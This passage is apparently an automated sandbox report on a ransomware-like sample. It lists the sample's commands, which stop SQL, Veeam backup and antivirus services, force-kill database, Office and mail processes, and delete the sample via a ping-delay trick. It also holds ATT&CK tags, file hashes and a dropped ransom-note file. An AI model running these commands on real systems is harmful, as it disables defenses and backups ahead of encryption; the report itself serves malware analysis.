C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ PROFXENGAGEMENT /y
4⤵
PID:1976

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ SBSMONITORING /y
3⤵
PID:2300

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ SBSMONITORING /y
4⤵
PID:3852

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop swi_update /y
4⤵
PID:2244

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ SHAREPOINT /y
3⤵
PID:1508

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ SHAREPOINT /y
4⤵
PID:3916

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ SQL_2008 /y
3⤵
PID:2100

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ SQL_2008 /y
4⤵
PID:2340

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ SYSTEM_BGC /y
3⤵
PID:1860

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ SYSTEM_BGC /y
4⤵
PID:2796

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ TPS /y
3⤵
PID:2568

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ TPS /y
4⤵
PID:2800

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ TPSAMA /y
3⤵
PID:3032

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ TPSAMA /y
4⤵
PID:2544

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ VEEAMSQL2008R2 /y
3⤵
PID:2268

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ VEEAMSQL2008R2 /y
4⤵
PID:4076

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ VEEAMSQL2012 /y
3⤵
PID:2540

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ VEEAMSQL2012 /y
4⤵
PID:1252

C:\Windows\SysWOW64\net.exe
net stop SQLBrowser /y
3⤵
PID:2552

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLBrowser /y
4⤵
PID:2168

C:\Windows\SysWOW64\net.exe
net stop SQLSafeOLRService /y
3⤵
PID:3944

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLSafeOLRService /y
4⤵
PID:2844

C:\Windows\SysWOW64\net.exe
net stop SQLSERVERAGENT /y
3⤵
PID:2848

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLSERVERAGENT /y
4⤵
PID:3396

C:\Windows\SysWOW64\net.exe
net stop SQLTELEMETRY /y
3⤵
PID:3388

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLTELEMETRY /y
4⤵
PID:3004

C:\Windows\SysWOW64\net.exe
net stop SQLTELEMETRY $ ECWDB2 /y
3⤵
PID:2772

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLTELEMETRY $ ECWDB2 /y
4⤵
PID:2316

C:\Windows\SysWOW64\net.exe
net stop SQLWriter /y
3⤵
PID:3808

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLWriter /y
4⤵
PID:4056

C:\Windows\SysWOW64\net.exe
net stop SstpSvc /y
3⤵
PID:4088

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SstpSvc /y
4⤵
PID:1480

C:\Windows\SysWOW64\net.exe
net stop svcGenericHost /y
3⤵
PID:1268

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop svcGenericHost /y
4⤵
PID:892

C:\Windows\SysWOW64\net.exe
net stop swi_filter /y
3⤵
PID:2816

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop swi_filter /y
4⤵
PID:1600

C:\Windows\SysWOW64\net.exe
net stop swi_service /y
3⤵
PID:3828

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop swi_service /y
4⤵
PID:1512

C:\Windows\SysWOW64\net.exe
net stop swi_update_64 /y
3⤵
PID:4028

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop swi_update_64 /y
4⤵
PID:2812

C:\Windows\SysWOW64\net.exe
net stop TmCCSF /y
3⤵
PID:2380

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop TmCCSF /y
4⤵
PID:3324

C:\Windows\SysWOW64\net.exe
net stop tmlisten /y
3⤵
PID:3692

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop tmlisten /y
4⤵
PID:1684

C:\Windows\SysWOW64\net.exe
net stop TrueKey /y
3⤵
PID:1804

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop TrueKey /y
4⤵
PID:2996

C:\Windows\SysWOW64\net.exe
net stop TrueKeyScheduler /y
3⤵
PID:3836

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop TrueKeyScheduler /y
4⤵
PID:2760

C:\Windows\SysWOW64\net.exe
net stop TrueKeyServiceHelper /y
3⤵
PID:2356

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop TrueKeyServiceHelper /y
4⤵
PID:3496

C:\Windows\SysWOW64\net.exe
net stop UI0Detect /y
3⤵
PID:3000

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop UI0Detect /y
4⤵
PID:188

C:\Windows\SysWOW64\net.exe
net stop VeeamBackupSvc /y
3⤵
PID:2248

C:\Windows\SysWOW64\net.exe
net stop VeeamBrokerSvc /y
3⤵
PID:3176

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamBrokerSvc /y
4⤵
PID:1796

C:\Windows\SysWOW64\net.exe
net stop VeeamCatalogSvc /y
3⤵
PID:2548

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamCatalogSvc /y
4⤵
PID:3456

C:\Windows\SysWOW64\net.exe
net stop VeeamCloudSvc /y
3⤵
PID:3088

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamCloudSvc /y
4⤵
PID:4008

C:\Windows\SysWOW64\net.exe
net stop VeeamDeploymentService /y
3⤵
PID:2852

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamDeploymentService /y
4⤵
PID:532

C:\Windows\SysWOW64\net.exe
net stop VeeamDeploySvc /y
3⤵
PID:3844

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamDeploySvc /y
4⤵
PID:3736

C:\Windows\SysWOW64\net.exe
net stop VeeamEnterpriseManagerSvc /y
3⤵
PID:344

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamEnterpriseManagerSvc /y
4⤵
PID:3352

C:\Windows\SysWOW64\net.exe
net stop VeeamMountSvc /y
3⤵
PID:3348

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamMountSvc /y
4⤵
PID:2276

C:\Windows\SysWOW64\net.exe
net stop VeeamNFSSvc /y
3⤵
PID:2184

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamNFSSvc /y
4⤵
PID:3512

C:\Windows\SysWOW64\net.exe
net stop VeeamRESTSvc /y
3⤵
PID:3932

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamRESTSvc /y
4⤵
PID:3660

C:\Windows\SysWOW64\net.exe
net stop VeeamTransportSvc /y
3⤵
PID:3416

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamTransportSvc /y
4⤵
PID:3264

C:\Windows\SysWOW64\net.exe
net stop W3svc /y
3⤵
PID:2304

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop W3svc /y
4⤵
PID:1380

C:\Windows\SysWOW64\net.exe
net stop wbengine /y
3⤵
PID:3476

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop wbengine /y
4⤵
PID:2284

C:\Windows\SysWOW64\net.exe
net stop WRSVC /y
3⤵
PID:1732

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop WRSVC /y
4⤵
PID:1928

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ VEEAMSQL2008R2 /y
3⤵
PID:4080

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ VEEAMSQL2008R2 /y
4⤵
PID:2120

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ VEEAMSQL2008R2 /y
3⤵
PID:3840

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ VEEAMSQL2008R2 /y
4⤵
PID:4048

C:\Windows\SysWOW64\net.exe
net stop VeeamHvIntegrationSvc /y
3⤵
PID:2152

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop VeeamHvIntegrationSvc /y
4⤵
PID:3916

C:\Windows\SysWOW64\net.exe
net stop swi_update /y
3⤵
PID:2300

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ CXDB /y
3⤵
PID:1508

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ CXDB /y
4⤵
PID:2796

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ CITRIX_METAFRAME /y
3⤵
PID:2100

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ CITRIX_METAFRAME /y
4⤵
PID:2800

C:\Windows\SysWOW64\net.exe
net stop SQL ???????? /y
3⤵
PID:2176

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQL ???????? /y
4⤵
PID:1964

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ PROD /y
3⤵
PID:2292

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ PROD /y
4⤵
PID:2248

C:\Windows\SysWOW64\net.exe
net stop Zoolz 2 ?????? /y
3⤵
PID:1796

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Zoolz 2 ?????? /y
4⤵
PID:3176

C:\Windows\SysWOW64\net.exe
net stop MSSQLServerADHelper /y
3⤵
PID:3456

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLServerADHelper /y
4⤵
PID:2548

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ PROD /y
3⤵
PID:4008

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ PROD /y
4⤵
PID:3088

C:\Windows\SysWOW64\net.exe
net stop msftesql $ PROD /y
3⤵
PID:2168

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop msftesql $ PROD /y
4⤵
PID:976

C:\Windows\SysWOW64\net.exe
net stop NetMsmqActivator /y
3⤵
PID:3736

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop NetMsmqActivator /y
4⤵
PID:3004

C:\Windows\SysWOW64\net.exe
net stop EhttpSrv /y
3⤵
PID:3396

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop EhttpSrv /y
4⤵
PID:3864

C:\Windows\SysWOW64\net.exe
net stop ekrn /y
3⤵
PID:3388

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ekrn /y
4⤵
PID:4056

C:\Windows\SysWOW64\net.exe
net stop ESHASRV /y
3⤵
PID:2316

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ESHASRV /y
4⤵
PID:1136

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ SOPHOS /y
3⤵
PID:3808

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ SOPHOS /y
4⤵
PID:892

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ SOPHOS /y
3⤵
PID:4088

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ SOPHOS /y
4⤵
PID:1592

C:\Windows\SysWOW64\net.exe
net stop AVP /y
3⤵
PID:3084

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop AVP /y
4⤵
PID:4000

C:\Windows\SysWOW64\net.exe
net stop klnagent /y
3⤵
PID:628

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop klnagent /y
4⤵
PID:2052

C:\Windows\SysWOW64\net.exe
net stop MSSQL $ SQLEXPRESS /y
3⤵
PID:3828

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL $ SQLEXPRESS /y
4⤵
PID:4040

C:\Windows\SysWOW64\net.exe
net stop SQLAgent $ /y
3⤵
PID:3904

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent $ /y
4⤵
PID:1976

C:\Windows\SysWOW64\net.exe
net stop SQLEXPRESS /y
3⤵
PID:2380

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLEXPRESS /y
4⤵
PID:2788

C:\Windows\SysWOW64\net.exe
net stop wbengine /y
3⤵
PID:3692

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop wbengine /y
4⤵
PID:2780

C:\Windows\SysWOW64\net.exe
net stop kavfsslp /y
3⤵
PID:1804

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop kavfsslp /y
4⤵
PID:2340

C:\Windows\SysWOW64\net.exe
net stop KAVFSGT /y
3⤵
PID:3516

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop KAVFSGT /y
4⤵
PID:2312

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c taskkill /f /im zoolz.exe >NUL 2> 1 /im agntsvc.exe >NUL 2> 1 /im dbeng50.exe >NUL 2> 1 /im dbsnmp.exe >NUL 2> 1 /im encsvc.exe >NUL 2> 1 /im excel.exe >NUL 2> 1 /im firefoxconfig.exe >NUL 2> 1 /im Infopath.exe >NUL 2> 1 /im isqlplussvc.exe >NUL 2> 1 /im msaccess.exe >NUL 2> 1 /im msftesql.exe >NUL 2> 1 /im mspub.exe >NUL 2> 1 /im mydesktopqos.exe >NUL 2> 1 /im mydesktopservice.exe >NUL 2> 1 /im mysqld.exe >NUL 2> 1 /im mysqld-nt.exe >NUL 2> 1 /im mysqld-opt.exe >NUL 2> 1 /im ocautoupds.exe >NUL 2> 1 /im ocomm.exe >NUL 2> 1 /im ocssd.exe >NUL 2> 1 /im onenote.exe >NUL 2> 1 /im oracle.exe >NUL 2> 1 /im outlook.exe >NUL 2> 1 /im powerpnt.exe >NUL 2> 1 /im sqbcoreservice.exe >NUL 2> 1 /im sqlagent.exe >NUL 2> 1 /im sqlbrowser.exe >NUL 2> 1 /im sqlservr.exe >NUL 2> 1 /im sqlwriter.exe >NUL 2> 1 /im steam.exe >NUL 2> 1 /im synctime.exe >NUL 2> 1 /im tbirdconfig.exe >NUL 2> 1 /im thebat.exe >NUL 2> 1 /im thebat64.exe >NUL 2> 1 /im thunderbird.exe >NUL 2> 1 /im visio.exe >NUL 2> 1 /im winword.exe >NUL 2> 1 /im wordpad.exe >NUL 2> 1 /im xfssvccon.exe >NUL 2> 1 /im tmlisten.exe >NUL 2> 1 /im PccNTMon.exe >NUL 2> 1 /im CNTAoSMgr.exe >NUL 2> 1 /im Ntrtscan.exe >NUL 2> 1 /im mbamtray.exe >NUL 2> 1 /im cmd.exe >NUL 2> 1
2⤵
PID:2100

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im zoolz.exe /im agntsvc.exe /im dbeng50.exe /im dbsnmp.exe /im encsvc.exe /im excel.exe /im firefoxconfig.exe /im Infopath.exe /im isqlplussvc.exe /im msaccess.exe /im msftesql.exe /im mspub.exe /im mydesktopqos.exe /im mydesktopservice.exe /im mysqld.exe /im mysqld-nt.exe /im mysqld-opt.exe /im ocautoupds.exe /im ocomm.exe /im ocssd.exe /im onenote.exe /im oracle.exe /im outlook.exe /im powerpnt.exe /im sqbcoreservice.exe /im sqlagent.exe /im sqlbrowser.exe /im sqlservr.exe /im sqlwriter.exe /im steam.exe /im synctime.exe /im tbirdconfig.exe /im thebat.exe /im thebat64.exe /im thunderbird.exe /im visio.exe /im winword.exe /im wordpad.exe /im xfssvccon.exe /im tmlisten.exe /im PccNTMon.exe /im CNTAoSMgr.exe /im Ntrtscan.exe /im mbamtray.exe /im cmd.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4076

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\Tes.exe"
2⤵
PID:848

C:\Windows\SysWOW64\PING.EXE
ping 1.1.1.1 -n 1 -w 3000
3⤵
- Runs ping.exe
PID:3924

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1512

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2784

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
- Modifies Internet Explorer settings
PID:3456

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4020

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
PID:972

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
PID:4108

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:4308

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
- Modifies Internet Explorer settings
PID:4348

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4556

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
PID:4620

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
PID:4852

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Remote System Discovery

T1018

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Packages\microsoft.microsoftedge_8wekyb3d8bbwe\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\120712-0049\DBStore\LogFiles\edb.log

MD5
62773be389e2e84294fb86b6dec620e9

SHA1
6a494c39c908ec46db4e592eddb7806160e40ba1

SHA256
28ed5d1e3027af9a69984c9304ded35db5d326527847faecbb400b5bdf46c119

SHA512
facc564b389cd23fbac0eb9203858e272ca43515e2fc56cb54405a9c4fd37e94dad4a33e705d6b1524693b887dc0055544397197aea973f332366ac2dcce52ca

Download Submit
C:\Users\Admin\AppData\Local\Packages\microsoft.microsoftedge_8wekyb3d8bbwe\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\120712-0049\DBStore\edb.chk

MD5
4bc84c67a661792e7bcf6b41eb326d14

SHA1
0d4334e41a4358a07e87ae55e88b2096a7f79c05

SHA256
ecd2a315266a0deac520ab1cec26b344952f4d778ac1e6b19510992f0bf84031

SHA512
4e0decc4531006c4b39c3b6bae683bd8772aa5e88e74dd2fd5a495715ae0083202e81c599feeff6ffd4878d76409b3e3aee8f424c998c21a9eb04c9217ec4467

Download Submit
C:\Users\Admin\AppData\Local\Packages\microsoft.microsoftedge_8wekyb3d8bbwe\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\120712-0049\DBStore\spartan.edb

MD5
2f4402297e2f0fe9c55fc61da6fe36d8

SHA1
1ab15a319983943ff29084a08844cbdd28c333f5

SHA256
6d296652d568e841a1b0b796241a2d32cfa49b5e8e5a9194af79d60f65561a24

SHA512
9eccf16aca35f5b785a07d25d3168a2005c16ffcbb8000656c128402dcda8c1c564fe8174b33408bef38ba9457bb8bfc1f269255e2248060bedcfe95eb7c31e0

Download Submit
C:\Users\Admin\AppData\Local\Packages\microsoft.microsoftedge_8wekyb3d8bbwe\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\120712-0049\DBStore\spartan.jfm

MD5
8c265a3004016f1db064964499bec936

SHA1
ca0113657a0863b365b751c98610c46172728d4d

SHA256
36e9dde5da697d08d296d9f6a3f30c22e3c7ee47e13bae300a26d6315db4735f

SHA512
39710c23b4020b6768870a702a2a92272d52452db8a3cf9505a8fbfd7bfa1a6e6610950d55612df3bb70ccae0aa72824d82fbd27dc77d9d235e7b35695a199bd

Download Submit
C:\Users\Admin\AppData\Local\Packages\microsoft.microsoftedge_8wekyb3d8bbwe\AC\MicrosoftEdge\User\Default\Recovery\Active\RecoveryStore.{2558F21A-CD2E-47C8-87B3-985FBC33FFCD}.dat

MD5
5573793ea567a239a19774a4850c1e49

SHA1
13f8b300bd2949c4f6a233a7d723ce589529a36a

SHA256
a61298840a74652979259ebf072577db59da8dde0649810e999e227d24c15ea9

SHA512
13f05093f9a83df0e3b067831b29a0765049f902bd11e691e0c972777e6ad38c18dcbd9d401667a1b1297dc2bb0a24f49a619160f1801359a38033c86036f153

Download Submit
C:\Users\Admin\AppData\Local\Packages\microsoft.microsoftedge_8wekyb3d8bbwe\AC\MicrosoftEdge\User\Default\Recovery\Active\{2B0A6998-6EF2-42C3-866D-3BDF452C9286}.dat

MD5
2209329fc6f69c797cdc8ae37b154b68

SHA1
b0e5bc9660a4d2f974339dc450688341e9dee03c

SHA256
b3d596ab58125ea4d7d2311d50125ea514e3ad54cac7c59702d0af881f125f05

SHA512
5f606b3547516be8b8452855b10909cbdcf6938a3aa1db33098d88cb42fbebef5245a6b0eeba128153500e123008bb9983c8d57845bfb0187648cc34fe37b431

Download Submit
C:\Users\Admin\Desktop\EncReadMe.html

MD5
23583a462f8a80f02e2dacb2c0eadee7

SHA1
afadeb89d3ec5d9ea2789e7379b4829a5e47dd89

SHA256
b53ebf951ef9918f411ff07ce3bed9a00582c9072a2eddbad6cea784a88a6355

SHA512
3720facdf5397cf91539850448add8ab1a16d4acdbfac317eafedce2dff2ece875c48cbaedf7fbc3e3522bf73a397fc498321650e16515f60968b8da9be58d0a

Download Submit
memory/400-136-0x0000000000000000-mapping.dmp

Download
memory/400-169-0x0000000000000000-mapping.dmp

Download
memory/408-127-0x0000000000000000-mapping.dmp

Download
memory/532-170-0x0000000000000000-mapping.dmp

Download
memory/628-143-0x0000000000000000-mapping.dmp

Download
memory/892-147-0x0000000000000000-mapping.dmp

Download
memory/920-163-0x0000000000000000-mapping.dmp

Download
memory/980-145-0x0000000000000000-mapping.dmp

Download
memory/1080-142-0x0000000000000000-mapping.dmp

Download
memory/1080-175-0x0000000000000000-mapping.dmp

Download
memory/1212-161-0x0000000000000000-mapping.dmp

Download
memory/1380-115-0x0000000000000000-mapping.dmp

Download
memory/1684-121-0x0000000000000000-mapping.dmp

Download
memory/1744-146-0x0000000000000000-mapping.dmp

Download
memory/2096-149-0x0000000000000000-mapping.dmp

Download
memory/2100-117-0x0000000000000000-mapping.dmp

Download
memory/2112-148-0x0000000000000000-mapping.dmp

Download
memory/2152-151-0x0000000000000000-mapping.dmp

Download
memory/2152-118-0x0000000000000000-mapping.dmp

Download
memory/2184-137-0x0000000000000000-mapping.dmp

Download
memory/2196-159-0x0000000000000000-mapping.dmp

Download
memory/2228-133-0x0000000000000000-mapping.dmp

Download
memory/2248-126-0x0000000000000000-mapping.dmp

Download
memory/2264-158-0x0000000000000000-mapping.dmp

Download
memory/2312-125-0x0000000000000000-mapping.dmp

Download
memory/2316-141-0x0000000000000000-mapping.dmp

Download
memory/2356-122-0x0000000000000000-mapping.dmp

Download
memory/2356-156-0x0000000000000000-mapping.dmp

Download
memory/2360-155-0x0000000000000000-mapping.dmp

Download
memory/2416-174-0x0000000000000000-mapping.dmp

Download
memory/2540-162-0x0000000000000000-mapping.dmp

Download
memory/2724-167-0x0000000000000000-mapping.dmp

Download
memory/2760-160-0x0000000000000000-mapping.dmp

Download
memory/2784-114-0x0000000000000000-mapping.dmp

Download
memory/2792-128-0x0000000000000000-mapping.dmp

Download
memory/2816-140-0x0000000000000000-mapping.dmp

Download
memory/2816-173-0x0000000000000000-mapping.dmp

Download
memory/2820-129-0x0000000000000000-mapping.dmp

Download
memory/3000-123-0x0000000000000000-mapping.dmp

Download
memory/3088-130-0x0000000000000000-mapping.dmp

Download
memory/3156-164-0x0000000000000000-mapping.dmp

Download
memory/3240-154-0x0000000000000000-mapping.dmp

Download
memory/3396-172-0x0000000000000000-mapping.dmp

Download
memory/3456-168-0x0000000000000000-mapping.dmp

Download
memory/3456-134-0x0000000000000000-mapping.dmp

Download
memory/3512-139-0x0000000000000000-mapping.dmp

Download
memory/3560-135-0x0000000000000000-mapping.dmp

Download
memory/3660-176-0x0000000000000000-mapping.dmp

Download
memory/3692-116-0x0000000000000000-mapping.dmp

Download
memory/3788-157-0x0000000000000000-mapping.dmp

Download
memory/3788-124-0x0000000000000000-mapping.dmp

Download
memory/3832-119-0x0000000000000000-mapping.dmp

Download
memory/3840-152-0x0000000000000000-mapping.dmp

Download
memory/3900-171-0x0000000000000000-mapping.dmp

Download
memory/3900-138-0x0000000000000000-mapping.dmp

Download
memory/3916-153-0x0000000000000000-mapping.dmp

Download
memory/3980-165-0x0000000000000000-mapping.dmp

Download
memory/4008-166-0x0000000000000000-mapping.dmp

Download
memory/4008-132-0x0000000000000000-mapping.dmp

Download
memory/4028-177-0x0000000000000000-mapping.dmp

Download
memory/4028-144-0x0000000000000000-mapping.dmp

Download
memory/4036-120-0x0000000000000000-mapping.dmp

Download
memory/4076-131-0x0000000000000000-mapping.dmp

Download
memory/4080-150-0x0000000000000000-mapping.dmp

Download